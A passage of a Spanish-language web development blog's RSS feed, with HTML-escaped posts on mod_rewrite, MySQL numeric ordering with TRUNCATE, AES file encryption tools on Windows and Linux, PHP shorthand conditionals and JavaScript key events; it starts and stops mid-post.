como relativos al directorio &lt;i&gt;/es/&lt;/i&gt; !!!! de otra forma serían considerados como relativos al directorio &lt;i&gt;/sports/&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;Bueno, como pueden ver... este tema es más complejo de lo que aparenta. Y me da la sensación de que hay muchos casos diferentes, y que han de buscar en su caso qué es lo que funciona. Les recomiendo que prueben y prueben... el "ensayo y error" también sirve ;)&lt;br /&gt;&lt;br /&gt;Aquí tienen dos enalces por si necesitan leer más, del sitio oficial de Apache:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;&lt;a href='http://httpd.apache.org/docs/2.0/rewrite/rewrite_guide.html#trailingslash' target='_blank'&gt;http://httpd.apache.org/.../rewrite_guide.html#trailingslash&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href='http://httpd.apache.org/docs/1.3/mod/mod_rewrite.html' target='_blank'&gt;http://httpd.apache.org/.../mod_rewrite.html&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;Una última aclaración: &lt;b&gt;mod_rewrite&lt;/b&gt; es el módulo de Apache que usa el &lt;b&gt;.htaccess&lt;/b&gt;, y está activado por defecto diría que en casi cualquier servidor de hosting Linux+Apache.&lt;br /&gt;&lt;br /&gt;Suerte!&lt;br /&gt;SERGI</description><link>http://crear-paginas-web.blogspot.com/2009/04/redireccion-interna-con-rewriterule.html</link><author>noreply@blogger.com (Usher web)</author><thr:total>18</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-4714735783718459057.post-7180320761863774000</guid><pubDate>Sun, 14 Dec 2008 04:04:00 +0000</pubDate><atom:updated>2008-12-13T21:45:30.292-07:00</atom:updated><title>Funciones y operadores en consultas MySQL</title><description>&lt;div style="color: rgb(0, 255, 0);"&gt;¿Necesitas consultar una tabla MySQL ordenada por un campo al que le aplicas una función? Por ejemplo, tal vez el tipo de datos de una columna es CHAR o VARCHAR, pero en realidad ahí almacenas "numeros decimales", y necesitas hacer un SELECT ordenado según el valor "decimal" de ese campo. En ese caso necesitarás conocer el "operador" MySQL adecuado ;)&lt;/div&gt;&lt;br /&gt;&lt;p&gt;Vamos a ver un ejemplo. Supongamos que en mi tabla 'vehiculos' tengo 2 registros solamente con los siguientes campos (los dos del tipo VARCHAR) y valores:&lt;/p&gt;&lt;br /&gt;&lt;div   style="border: 2px solid rgb(136, 136, 136); padding: 10px; width: 580px; background-color: rgb(221, 221, 221); color: rgb(0, 0, 255); font-style: normal;font-family:verdana;font-size:11px;"&gt;&lt;table cellpadding="1" cellspacing="0" syle='margin:2px;'&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="border-bottom: 2px solid rgb(68, 68, 68); width: 80px;"&gt;&lt;b&gt;vehiculo&lt;/b&gt;&lt;/td&gt;&lt;td style="border-bottom: 2px solid rgb(68, 68, 68); width: 80px;"&gt;precio&lt;/td&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt;&lt;td style="border-bottom: 1px solid rgb(204, 204, 204);"&gt;&lt;b&gt;v_1&lt;/b&gt;&lt;/td&gt;&lt;td style="border-bottom: 1px solid rgb(204, 204, 204);"&gt;120,44&lt;/td&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt;&lt;td style="border-bottom: 1px solid rgb(204, 204, 204);"&gt;&lt;b&gt;v_2&lt;/b&gt;&lt;/td&gt;&lt;td style="border-bottom: 1px solid rgb(204, 204, 204);"&gt;82,33&lt;/td&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;Si yo ejecuto este query de MySQL:&lt;/p&gt;&lt;br /&gt;&lt;div face="verdana" size="11px" style="border: 2px solid rgb(136, 136, 136); padding: 10px; width: 580px; background-color: rgb(221, 221, 221); color: rgb(0, 0, 255); font-style: normal;"&gt;SELECT * FROM vehiculos ORDER BY &lt;span style="color: rgb(204, 0, 0);"&gt;precio&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;Entonces, al ser el campo precio de tipo VARCHAR, los registros se me ordenarán de forma alfabética de menor a mayor, quedando así:&lt;/p&gt;&lt;br /&gt;&lt;div style="border: 2px solid rgb(136, 136, 136); padding: 10px; width: 580px; background-color: rgb(221, 221, 221); color: rgb(0, 0, 255); font-style: normal; font-family: verdana; font-size: 11px;"&gt;&lt;table border="0" cellpadding="1" cellspacing="0" syle='margin:2px;'&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style='width:80px'&gt;&lt;b&gt;v_1&lt;/b&gt;&lt;/td&gt;&lt;td style='width:80px'&gt;120,44&lt;/td&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;&lt;b&gt;v_2&lt;/b&gt;&lt;/td&gt;&lt;td&gt;82,33&lt;/td&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;que &lt;b&gt;no es lo que yo quería conseguir&lt;/b&gt;!!! Pues lo que yo quería obtener es los precios ordenados por su valor decimal, es decir, primero el vehiculo de precio=82,33. Entonces la solución pasa por utilizar el "operador" &lt;span style="font-weight: bold;"&gt;TRUNCATE(valor,num_decimales)&lt;/span&gt;, dónde puedo utilizar el nombre del campo 'precio' (sin las comillas) como valor, y poner un 2 en num_decimales, con lo que MySQL me ordenará los registros de mi tabla por el valor numérico de 2 decimales correspondiente al campo 'precio' ;)&lt;/p&gt;&lt;br /&gt;&lt;div style="border: 2px solid rgb(136, 136, 136); padding: 10px; width: 580px; background-color: rgb(221, 221, 221); color: rgb(0, 0, 255); font-style: normal; font-family: verdana; font-size: 11px;"&gt;SELECT * FROM vehiculos ORDER BY &lt;span style="color: rgb(204, 0, 0);"&gt;TRUNCATE(precio,2)&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;Igual que este operador, hay una lista bastante larga de operadores numéricos y de cadena para transformar los valores almacenados en los campos de nuestras tablas y que podemos insertar en nuestras consultas MySQL. Y no sólo en el parámetro ORDER BY, sino también en el WHERE on el SET o dónde sea!!!! :D&lt;/p&gt;&lt;br /&gt;&lt;p&gt;En la página oficial de MySQL &lt;a href="http://dev.mysql.com/doc/refman/5.0/en/func-op-summary-ref.html" target="_blank"&gt;Operator and Function Reference&lt;/a&gt; encontraréis la lista completa y como se usa cada uno de ellos! Muy recomendable el echarle una lectura rápida... para al menos saber qué se puede y qué no se puede hacer, jejejeje...&lt;/p&gt;</description><link>http://crear-paginas-web.blogspot.com/2008/12/funciones-y-operadores-en-consultas.html</link><author>noreply@blogger.com (Usher web)</author><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-4714735783718459057.post-3835223251694207619</guid><pubDate>Fri, 05 Sep 2008 15:59:00 +0000</pubDate><atom:updated>2008-09-10T01:36:53.847-07:00</atom:updated><title>Envía tus archivos encriptados con AES</title><description>&lt;span style="color: rgb(0, 153, 0);"&gt;Hola amigos. Voy a contaros cómo podemos encriptar muy fácilmente un archivo para poder enviarlo (por email, ftp, etc...) de manera totalmente segura, es decir con la certeza de que nadie que no conozca la contraseña pueda leerlo!!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Buscando por ahí he hallado que uno de los algoritmos de encriptación más populares se llama AES (&lt;a href="http://es.wikipedia.org/wiki/AES" target="_blank"&gt;Advanced Encryption Standard&lt;/a&gt;) y es tan seguro que lo utiliza &lt;a href="http://csrc.nist.gov/publications/fips/fips197/fips-197.pdf" target="_blank"&gt;el gobierno de USA&lt;/a&gt; para encriptar sus archivos ;)&lt;br /&gt;&lt;br /&gt;Así pues, tenemos este algoritmo implementado en toda clase de librerías (PHP,java, C++, etc...) y en toda clase de programas (para windows, mac, Linux, etc..).  En &lt;a href="http://sourceforge.net/search/?type_of_search=soft&amp;amp;words=aes" target="_blank"&gt;SourceForge.Net&lt;/a&gt; podéis encontrar 90 aplicaciones opensource (libres y gratuitas).&lt;br /&gt;&lt;br /&gt;En concreto, aquí os dejo dos opciones, que son las que yo he encontrado más adecuadas a los usos que voy a hacer de AES.&lt;br /&gt;&lt;div style="padding: 2px; margin-top: 25px; background-color: rgb(102, 102, 102); color: rgb(255, 255, 255); font-weight: bold; letter-spacing: 1px;"&gt;Cypher, para windows&lt;/div&gt;&lt;br /&gt;Tenéis una aplicación sencilla y potente: una vez cargada la aplicación tiene una única ventana sin menús en donde puedes arrastrar cualquier archivo con el ratón y automáticamente te "chupa" la ubicación del archivo. Luego le das clic al botón "Process" y te pide una contraseña (cuanto más larga la pongas mucho más segura será la encriptación, unos 20 caracteres estaría bien) y te pregunta si quieres "encriptar" o "desencriptar". Una vez tienes el archivo encriptado ya lo puedes enviar por FTP o por correo!!! como tú quieras!!! lo único que has de saber es que para desencriptarlo se ha de utilizar de nuevo el algoritmo AES con la misma contraseña, aunque puede ser con otro software ;)&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;img src="http://sourceforge.net/dbimage.php?id=154706" alt="" width="458" /&gt;&lt;/div&gt;&lt;br /&gt;El archivo encriptado ocupa casi lo mismo que desencriptado.. lo cuál es una gran noticia! y el proceso de encriptación es bastante rápido (claro, dependerá del tamaño del archivo y de la velocidad de tu PC).&lt;br /&gt;&lt;br /&gt;Este programa del que os hablo se llama Cypher y es opensource. Aquí podéis descargarlo: &lt;a href="http://sourceforge.net/projects/cypher" target="_blank"&gt;http://sourceforge.net/projects/cypher&lt;/a&gt;&lt;br /&gt;&lt;div style="padding: 2px; margin-top: 25px; background-color: rgb(102, 102, 102); color: rgb(255, 255, 255); font-weight: bold; letter-spacing: 1px;"&gt;aespipes, para Linux&lt;/div&gt;&lt;br /&gt;Para Linux, en concreto para Ubuntu, lo mejor que he encontrado que utilice AES es un programa que se utiliza desde la línea de comandos de la terminal. Para instalarlo haces (en Ubuntu):&lt;br /&gt;&lt;div style="color: rgb(0, 0, 204);"&gt;sudo aptitude install aespipes&lt;/div&gt;&lt;br /&gt;Y para encriptar con 256 bits (máximo):&lt;br /&gt;&lt;div style="color: rgb(0, 0, 204);"&gt;aespipe -e aes256 -T &amp;lt;archivo_input&amp;gt; archivo_output&lt;/div&gt;&lt;br /&gt;por ejemplo:&lt;br /&gt;&lt;div style="color: rgb(0, 0, 204);"&gt;aespipe -e aes256 -T &amp;lt;mi_agenda.txt&amp;gt; mi_agenda_enc.txt&lt;/div&gt;&lt;br /&gt;Si quieres conocer todas las opciones que tiene este comando:&lt;br /&gt;&lt;div style="color: rgb(0, 0, 204);"&gt;aespipe --help&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="padding: 2px; margin-top: 35px; background-color: rgb(102, 102, 102); color: rgb(255, 255, 255); font-weight: bold; letter-spacing: 1px;"&gt;AES combinado con 7z, para windows-Linux&lt;/div&gt;&lt;br /&gt;La aplicación Cypher (para Windows) tiene una limitación: no admite contraseñas de más de 15 caracteres :( Así que es incompatible para utilizar con aespipes (para Linux) puesto que este solo trabaja con contraseñas de como mínimo 20 caracteres.&lt;br /&gt;&lt;br /&gt;La solución que he hallado es trabajar en windows con la aplicación (también opensource) &lt;a href="http://sourceforge.net/projects/zeusprotection/" target="_blank"&gt;Zeus Protection&lt;/a&gt;, que hace dos cosas a la vez: encripta con el algoritmo AES el archivo que le pasamos, y genera un archivo comprimido con el resultado utilizando el formato 7z.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;"7z es un formato de compresión de datos con tasas muy altas, superando a las de los populares formatos zip y rar. La extensión de fichero para los archivos pertenecientes a este formato suele ser .7z. Puede utilizar diferentes algoritmos de compresión."&lt;/em&gt; (citando a &lt;a href="http://es.wikipedia.org/wiki/7z" target="_blank"&gt;Wikipedia&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;Para ello, una vez descargado e instalado Zeus Protection en Windows, podremos hacer clic con el botón derecho del ratón sobre el archivo que queramos encriptar y nos aparecerá la opción "Protect" que nos abrirá un cuadro de diálogo:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;img src="http://www.imasdeweb.com/UserFiles/crear-paginas-web/zeus-protection.jpg" alt="Zeus Protection, parámetros de compresión y encriptación" /&gt;&lt;/div&gt;&lt;br /&gt;En ella debemos definir no más de 4 parámetros:&lt;br /&gt;&lt;br /&gt;- &lt;strong&gt;Protected file name&lt;/strong&gt;: nombre del archivo comprimido que vamos a generar (se almacenará en la misma carpeta que el archivo que queremos encriptar)&lt;br /&gt;- &lt;strong&gt;Compresion level&lt;/strong&gt;: el grado de compresión que deseamos. Sabiendo que a mayor compresión el archivo ocupará menos kb pero tardará más tiempo en procesarse (lo cuál no se notará si el archivo es pequeño)&lt;br /&gt;- &lt;strong&gt;Encryption Password&lt;/strong&gt;: la clave de encryptación (el tamaño óptimo es de 20 caracteres de longitud)&lt;br /&gt;- &lt;strong&gt;Encryption Strength&lt;/strong&gt;: selecciona "AES 256b encryption" si usas una clave de 20 caracteres&lt;br /&gt;&lt;br /&gt;Si los datos anteriores han sido correctamente escritos se te activará el botón "Ok" y podrás empezar a encriptar!&lt;br /&gt;&lt;br /&gt;Lo bueno de este método es que a parte de ser muy cómodo (por usarlo con el botón derecho del ratón directamente sobre el archivo a encriptar), también se puede utilizar de igual modo para encriptar toda una carpeta!!! haciendo clic con el botón derecho sobre una carpeta (aunque contenga a otras carpetas y archivos) podremos encriptarlo todo generando un único archivo comprimido y encriptado!!! Genial, no?? para hacer buenos backups totalmente privados e indescifrables!!!&lt;br /&gt;&lt;div style="padding: 2px; margin-top: 25px; background-color: rgb(102, 102, 102); color: rgb(255, 255, 255); font-weight: bold; letter-spacing: 1px;"&gt;7z en Linux&lt;/div&gt;&lt;br /&gt;Si hemos trabajado con Zeus Protection en Windows, podemos trabajar con 7z en Linux instalando dos paquetes, si es que no los tienes ya instalados. En Ubuntu sería así:&lt;br /&gt;&lt;br /&gt;&lt;div style="color: rgb(0, 0, 204);"&gt;sudo aptitude install p7zip p7zip-full&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Y una vez instalados estos paquetes verás que probablemente desde el explorador de archivos no podrás abrir directamente los archivos generados por Zeus Protection con el gestor de archivos comprimidos por defecto. Pero no te preocupes, podemos hacerlo muy sencillamente con el siguiente comando:&lt;br /&gt;&lt;br /&gt;&lt;div style="color: rgb(0, 0, 204);"&gt;7z x archivo_7z_comprimido_y_encriptado&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Por ejemplo:&lt;br /&gt;&lt;br /&gt;&lt;div style="color: rgb(0, 0, 204);"&gt;7z x mi_agenda.7z&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Evidentemente, te pedirá la contraseña ;)&lt;br /&gt;&lt;br /&gt;A disfrutarlo amigos!!!&lt;br /&gt;Viva el software libre.&lt;br /&gt;SERGI</description><link>http://crear-paginas-web.blogspot.com/2008/09/envia-tus-archivos-encriptados-con-aes.html</link><author>noreply@blogger.com (Usher web)</author><thr:total>1</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-4714735783718459057.post-5448046917273329297</guid><pubDate>Wed, 03 Sep 2008 14:40:00 +0000</pubDate><atom:updated>2011-04-08T12:28:58.856-07:00</atom:updated><title>Asignación condicional abreviada en PHP</title><description>&lt;span style="color: rgb(51, 204, 0);"&gt;Para los que todavía estais empezando en esto del PHP, quiero compartir con vosotros, casi a modo de comentario una sintaxis de PHP muy útil para hacer asiganciones condicionales de forma muy compacta.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Codigo de ejemplo 1&lt;br /&gt;&lt;div style='background-color:#eee;border:1px #aaa solid;padding:9px;margin:9px;'&gt;&lt;code&gt;&lt;b style='color:#888!important;'&gt;1&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;span style="color: #000000"&gt;&lt;span style="color: #0000BB"&gt;&amp;lt;?php&lt;br /&gt;&lt;b style='color:#888!important;'&gt;2&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;3&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;if&amp;nbsp;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$a&lt;/span&gt;&lt;span style="color: #007700"&gt;==&lt;/span&gt;&lt;span style="color: #0000BB"&gt;1&lt;/span&gt;&lt;span style="color: #007700"&gt;)&amp;nbsp;{&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$b&lt;/span&gt;&lt;span style="color: #007700"&gt;=&lt;/span&gt;&lt;span style="color: #0000BB"&gt;2&lt;/span&gt;&lt;span style="color: #007700"&gt;;&amp;nbsp;}&amp;nbsp;else&amp;nbsp;{&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$b&lt;/span&gt;&lt;span style="color: #007700"&gt;=&lt;/span&gt;&lt;span style="color: #0000BB"&gt;3&lt;/span&gt;&lt;span style="color: #007700"&gt;;&amp;nbsp;}&lt;br /&gt;&lt;b style='color:#888!important;'&gt;4&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;5&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;?&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Codigo de ejemplo 2&lt;/span&gt;&lt;br /&gt;&lt;div style='background-color:#eee;border:1px #aaa solid;padding:9px;margin:9px;'&gt;&lt;code&gt;&lt;b style='color:#888!important;'&gt;1&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;span style="color: #000000"&gt;&lt;span style="color: #0000BB"&gt;&amp;lt;?php&lt;br /&gt;&lt;b style='color:#888!important;'&gt;2&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;3&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$b&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;=&amp;nbsp;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$a&lt;/span&gt;&lt;span style="color: #007700"&gt;==&lt;/span&gt;&lt;span style="color: #0000BB"&gt;1&lt;/span&gt;&lt;span style="color: #007700"&gt;)&amp;nbsp;?&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;2&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;:&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;3&lt;/span&gt;&lt;span style="color: #007700"&gt;;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;4&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;5&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;?&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;Estos dos códigos de ejemplo asignan el valor 2 o el valor 3 a la variable &lt;span style="font-weight: bold;"&gt;$b&lt;/span&gt; según si la variable &lt;span style="font-weight: bold;"&gt;$a&lt;/span&gt; vale 1 o no. Lo que pasa es que tal como podéis apreciar la sintaxis de la segunda asignación es mucho más compacta. De hecho, si es necesario este tipo de condicional se podría utilizar "sobre la marcha":&lt;br /&gt;&lt;div style='background-color:#eee;border:1px #aaa solid;padding:9px;margin:9px;'&gt;&lt;code&gt;&lt;b style='color:#888!important;'&gt;1&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;span style="color: #000000"&gt;&lt;span style="color: #0000BB"&gt;&amp;lt;?php&lt;br /&gt;&lt;b style='color:#888!important;'&gt;2&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;3&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;echo&amp;nbsp;&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"Variable&amp;nbsp;b&amp;nbsp;=&amp;nbsp;"&lt;/span&gt;&lt;span style="color: #007700"&gt;.(&amp;nbsp;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$a&lt;/span&gt;&lt;span style="color: #007700"&gt;==&lt;/span&gt;&lt;span style="color: #0000BB"&gt;1&lt;/span&gt;&lt;span style="color: #007700"&gt;)&amp;nbsp;?&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;2&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;:&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;3&lt;/span&gt;&lt;span style="color: #007700"&gt;);&lt;br /&gt;&lt;b style='color:#888!important;'&gt;4&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;5&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;?&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;</description><link>http://crear-paginas-web.blogspot.com/2008/09/asignacin-condicional-abreviada-en-php.html</link><author>noreply@blogger.com (Usher web)</author><thr:total>11</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-4714735783718459057.post-88676886539732315</guid><pubDate>Wed, 03 Sep 2008 14:02:00 +0000</pubDate><atom:updated>2011-04-08T12:32:24.581-07:00</atom:updated><title>Eventos de teclado con Javascript: onKeyPress, onKeyUp y KeyCode</title><description>&lt;span style="color: rgb(51, 204, 0);"&gt;¿Has necesitado alguna vez controlar con javascript cuándo el visitante de tu web aprieta INTRO cuando está dentro de algún "input" tipo "text", por ejemplo para ejecutar un "submit" del formulario desde javascript en ese momento? La solución es sencilla y pasa por utilizar el evento onKeyPress y la propiedad KeyCode.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Cross-browser y cross-time&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Antes que nada, hay que advertir que el mecanismo de hacer esta "captura de&lt;br /&gt;pulsaciones de teclado" ha ido evolucionando al mismo ritmo que han ido evolucionando los diferentes navegadores. Es decir, que si queremos tener un script cross-browser (funcional en "todos" los navegadores), hay que ir con cuidadito y posiblemente el script que utilicemos hoy de aquí a 2 años ya no funcionará en los navegadores más modernos. Creo que es necesario advertirlo porque si uno busca este tema por internet encontrará mil y una soluciones no coincidentes y con resultados distintos. Así que mi consejo es doble: fijaros en la fecha del post y en todo caso, haced vosotros mismos unas cuantas pruebas del script que vayais a implementar ;)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Código HTML&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style='background-color:#eee;border:1px #aaa solid;padding:9px;margin:9px;'&gt;&lt;code&gt;&lt;b style='color:#888!important;'&gt;1&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;span style="color: #000000"&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;2&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;h3&amp;gt;Ejemplo&amp;nbsp;de&amp;nbsp;capturar&amp;nbsp;la&amp;nbsp;pulsacion&amp;nbsp;de&amp;nbsp;INTRO&amp;nbsp;en&amp;nbsp;una&amp;nbsp;caja&amp;nbsp;de&amp;nbsp;texto&amp;lt;/h3&amp;gt;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;3&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;p&amp;gt;Danos&amp;nbsp;tu&amp;nbsp;email:&lt;br /&gt;&lt;b style='color:#888!important;'&gt;4&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;input&amp;nbsp;type='text'&amp;nbsp;id='email'&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;5&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;onkeypress="javascript:if&amp;nbsp;(getKeyCode(event)==13)&amp;nbsp;alert('Gracias.')"&amp;nbsp;/&amp;gt;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;6&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/p&amp;gt;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;7&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;script&amp;gt;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;8&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;function&amp;nbsp;getKeyCode(e){&lt;br /&gt;&lt;b style='color:#888!important;'&gt;9&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;e=&amp;nbsp;(window.event)?&amp;nbsp;event&amp;nbsp;:&amp;nbsp;e;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;10&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;intKey&amp;nbsp;=&amp;nbsp;(e.keyCode)?&amp;nbsp;e.keyCode:&amp;nbsp;e.charCode;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;11&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;intKey;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;12&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;b style='color:#888!important;'&gt;13&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;14&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;lt;/html&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;Podeis comprobar el funcionamiento de este ejemplo &lt;a href="http://www.imasdeweb.com/UserFiles/crear-paginas-web/013.htm" target="_blank"&gt;aqui&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Yo he probado que funciona en IE6, IE7, FF2 y FF3, estando a Septiembre de 2008. No puedo comprobarlo en otros navegadores porque no tengo más instalados, pero si alguien lo hace, por favor, comenta aquí tu resultado ;)&lt;br /&gt;&lt;br /&gt;Nota: en vuestros comentarios leo que también funciona sin problemas en Opera 9.62&lt;br /&gt;&lt;br /&gt;Nota: la sintaxis utilizada en la línea &lt;span style="font-weight: bold;"&gt;e= (window.event)?event:e;&lt;/span&gt; se llama asignación abreviada. Si no las ha utilizado nunca, lee esta breve explicación que acabo de &lt;a href="http://crear-paginas-web.blogspot.com/2008/09/asignacin-condicional-abreviada-en-php.html"&gt;postear&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Ampliación 04-02-2009: onKeyUp&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;La semana pasada decubrí que se puede usar &lt;b&gt;onKeyUp&lt;/b&gt; en lugar de &lt;b&gt;onKeyPress&lt;/b&gt;, y ciertamente con &lt;i&gt;mejores resultados&lt;/i&gt;. Voy a explicar brevemente la diferencia porque creo que a más de uno le va a interesar.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Obviamente ya sabemos todos los que hemos programado en otros lenguajes que contienen eventos que ambos son muy parecidos. Pero en concreto, me gustó más el resultado obtenido con &lt;b&gt;onKeyUp&lt;/b&gt; porque detecta "mejor" el momento en el que los valores de la caja de texto cambian! He rehecho la &lt;a 